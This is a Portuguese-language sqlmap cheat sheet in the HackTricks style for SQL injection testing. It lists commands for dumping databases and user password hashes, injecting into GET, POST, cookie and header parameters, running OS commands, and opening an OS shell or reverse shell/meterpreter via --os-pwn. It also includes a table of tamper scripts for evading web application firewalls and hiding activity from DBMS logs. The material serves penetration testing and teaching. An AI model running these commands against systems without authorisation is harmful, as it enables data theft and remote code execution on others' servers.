12 KiB

SQLMap

{{#include ../../banners/hacktricks-training.md}}

Argumentos básicos para SQLmap

Genérico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Technique flags (--technique)

O argumento --technique define quais métodos de injeção SQL o sqlmap tentará. Cada caractere na string representa uma técnica:

Letra Técnica Descrição
B Boolean-based blind Usa condições verdadeiro/falso para inferir dados
E Error-based Aproveita mensagens de erro detalhadas do DBMS para exfiltrar resultados
U UNION query Injeta declarações UNION SELECT para buscar dados pelo mesmo canal
S Stacked queries Adiciona declarações adicionais separadas por ;
T Time-based blind Baseia-se em atrasos (SLEEP, WAITFOR) para detectar injeção
Q Inline / out-of-band Usa funções como LOAD_FILE() ou canais OOB como DNS

A ordem padrão é BEUSTQ. Você pode rearranjar ou limitar, por exemplo, apenas Boolean e Time-based nessa ordem:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Recuperar Informações

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Dados do DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Capture a solicitação e crie um arquivo req.txt

sqlmap -r req.txt --current-user

Injeção de Requisição GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injeção de Requisição POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Injeções em Cabeçalhos e outros Métodos HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Injeção de segunda ordem

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Rastear um site com SQLmap e auto-exploração

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personalizando a Injeção

Definir um sufixo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefixo

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ajuda para encontrar injeção booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Descrição
apostrophemask.py Substitui o caractere apóstrofo pelo seu equivalente de largura total em UTF-8
apostrophenullencode.py Substitui o caractere apóstrofo pelo seu equivalente ilegal de dupla codificação unicode
appendnullbyte.py Anexa um caractere NULL codificado no final do payload
base64encode.py Codifica em Base64 todos os caracteres em um payload dado
between.py Substitui o operador maior que '&gt;' por 'NOT BETWEEN 0 AND #'
bluecoat.py Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Em seguida, substitui o caractere = pelo operador LIKE
chardoubleencode.py Codifica duas vezes todos os caracteres em um payload dado não processando já codificados
commalesslimit.py Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M'
commalessmid.py Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)'
concat2concatws.py Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Codifica em URL todos os caracteres em um payload dado não processando já codificados
charunicodeencode.py Codifica caracteres não codificados em unicode-url em um payload dado não processando já codificados. "%u0022"
charunicodeescape.py Codifica caracteres não codificados em unicode-url em um payload dado não processando já codificados. "\u0022"
equaltolike.py Substitui todas as ocorrências do operador igual '=' pelo operador 'LIKE'
escapequotes.py Escapa aspas com barra ' e "
greatest.py Substitui o operador maior que '&gt;' pelo seu equivalente 'GREATEST'
halfversionedmorekeywords.py Adiciona um comentário MySQL versionado antes de cada palavra-chave
ifnull2ifisnull.py Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Envolve a consulta completa com um comentário versionado
modsecurityzeroversioned.py Envolve a consulta completa com um comentário de versão zero
multiplespaces.py Adiciona múltiplos espaços ao redor das palavras-chave SQL
nonrecursivereplacement.py Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (e.g. .replace("SELECT", "")) filtros
percentage.py Adiciona um sinal de porcentagem '%' na frente de cada caractere
overlongutf8.py Converte todos os caracteres em um payload dado não processando já codificados
randomcase.py Substitui cada caractere de palavra-chave por um valor de caso aleatório
randomcomments.py Adiciona comentários aleatórios às palavras-chave SQL
securesphere.py Anexa uma string especialmente elaborada
sp_password.py Anexa 'sp_password' ao final do payload para ofuscação automática dos logs do DBMS
space2comment.py Substitui o caractere de espaço ' ' por comentários
space2dash.py Substitui o caractere de espaço ' ' por um comentário de traço '--' seguido por uma string aleatória e uma nova linha '\n'
space2hash.py Substitui o caractere de espaço ' ' por um caractere de libra '\#' seguido por uma string aleatória e uma nova linha '\n'
space2morehash.py Substitui o caractere de espaço ' ' por um caractere de libra '\#' seguido por uma string aleatória e uma nova linha '\n'
space2mssqlblank.py Substitui o caractere de espaço ' ' por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
space2mssqlhash.py Substitui o caractere de espaço ' ' por um caractere de libra '\#' seguido por uma nova linha '\n'
space2mysqlblank.py Substitui o caractere de espaço ' ' por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
space2mysqldash.py Substitui o caractere de espaço ' ' por um comentário de traço '--' seguido por uma nova linha '\n'
space2plus.py Substitui o caractere de espaço ' ' por um sinal de mais '+'
space2randomblank.py Substitui o caractere de espaço ' ' por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
symboliclogical.py Substitui operadores lógicos AND e OR por seus equivalentes simbólicos (&& e
unionalltounion.py Substitui UNION ALL SELECT por UNION SELECT
unmagicquotes.py Substitui o caractere de aspas ' por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final para funcionar
uppercase.py Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT'
varnish.py Anexa um cabeçalho HTTP 'X-originating-IP'
versionedkeywords.py Envolve cada palavra-chave não funcional com um comentário MySQL versionado
versionedmorekeywords.py Envolve cada palavra-chave com um comentário MySQL versionado
xforwardedfor.py Anexa um cabeçalho HTTP falso 'X-Forwarded-For'

Referências

{{#include ../../banners/hacktricks-training.md}}